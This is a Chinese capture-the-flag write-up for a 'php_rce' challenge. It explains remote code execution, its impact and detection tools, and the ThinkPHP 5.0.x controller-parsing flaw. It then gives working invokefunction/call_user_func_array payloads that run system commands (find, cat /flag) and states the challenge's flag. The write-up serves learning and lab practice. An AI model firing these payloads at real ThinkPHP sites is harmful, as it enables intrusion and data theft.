6.攻防世界php_rce

进入题目页面如下

进入页面后也没有发现注入点,加上题目提示是php,还有rce

RCE(Remote Code Execution)远程代码执行漏洞

基本概念

远程代码执行指攻击者无需物理接触目标系统,通过网络等远程方式,向目标系统注入并执行恶意代码。成功利用该漏洞后,攻击者能像合法用户一样对目标系统进行操作,获取系统的控制权。

数据泄露:可以执行恶意代码后可访问系统中的敏感数据,如用户的个人信息、企业的商业机密、数据库中的重要数据等,造成数据泄露和隐私侵犯。

系统破坏:可以删除、篡改系统文件和数据,导致系统无法正常运行,甚至造成数据丢失,给企业带来巨大的经济损失。

网络攻击跳板:被控制的系统可作为攻击者进一步攻击其他系统的跳板,扩大攻击范围,危害整个网络的安全。

检测手段

静态代码分析:借助代码扫描工具对源代码进行全面分析,查找可能存在的安全隐患和漏洞模式。例如,使用 SonarQube、Checkmarx 等工具可以发现代码中的命令注入、代码注入等问题。

动态测试:利用漏洞扫描器对运行中的应用程序进行动态检测,模拟攻击者的行为,向应用程序发送各种恶意请求,检测是否存在远程代码执行漏洞。常见的漏洞扫描器有 Nessus、Acunetix 等

定义

远程代码执行(Remote Code Execution,简称 RCE)漏洞是一种严重的安全漏洞,攻击者能够通过网络远程向目标系统注入并执行恶意代码。一旦成功利用该漏洞,攻击者可以完全控制目标系统,执行任意命令,如获取系统权限、窃取敏感信息、安装后门程序等,对系统安全造成严重威胁。

攻击者可构造恶意的参数,如 :ls -l,执行额外的系统命令

ThinkPHP V5

ThinkPHP V5 是一款在国内广泛应用的 PHP 开发框架

ThinkPHP 5.0.x 系列漏洞

漏洞成因

该版本主要是因为框架对控制器名解析存在缺陷。ThinkPHP 5 采用了路由机制,当处理请求时会根据请求的 URL 解析出对应的控制器和方法。在某些情况下,对控制器名的解析没有进行严格的过滤和验证,攻击者可以通过构造特殊的 URL 请求,让框架加载并执行恶意的控制器代码。

利用方式

攻击者构造包含恶意代码的 URL 请求,发送给存在漏洞的应用。可以通过修改 URL 中的控制器名参数,使其指向一个恶意构造的类,这个类中包含可以执行任意代码的方法。当应用处理该请求时,就会触发漏洞执行恶意代码。

这里的 s 参数通常用于指定控制器和方法,通过构造特殊的值,尝试执行 phpinfo() 函数,若漏洞存在则会输出 PHP 信息。

构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

发现了flag文件

再次构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

最后得到flag:flag{thinkphp5_rce}

相关推荐
大锦终1 小时前
【Linux】进程状态
linux·运维·服务器·网络
辉盈防爆散热风扇2 小时前
EC 技术赋能:福佑防爆风扇如何平衡安全与节能?
安全
m0_747266095 小时前
代码审计与web安全选择题1
网络安全
君鼎7 小时前
安全逆向工程学习路线
安全·逆向·网安
清 晨8 小时前
剖析 Web3 与传统网络模型的安全框架
网络·安全·web3·facebook·tiktok·instagram·clonbrowser
国科安芯9 小时前
抗辐照芯片在低轨卫星星座CAN总线通讯及供电系统的应用探讨
运维·网络·人工智能·单片机·自动化
gx23489 小时前
HCLP--MGER综合实验
运维·服务器·网络
VB5949 小时前
[N1盒子] 斐讯盒子N1 T1通用刷机包(可救砖)
网络
-XWB-10 小时前
【安全漏洞】防范未然:如何有效关闭不必要的HTTP请求方法,保护你的Web应用
服务器·网络·http
编程到天明10 小时前
CTF-Web题解:“require_once(‘flag.php‘); &assert(“$i == $u“);”
网络安全·php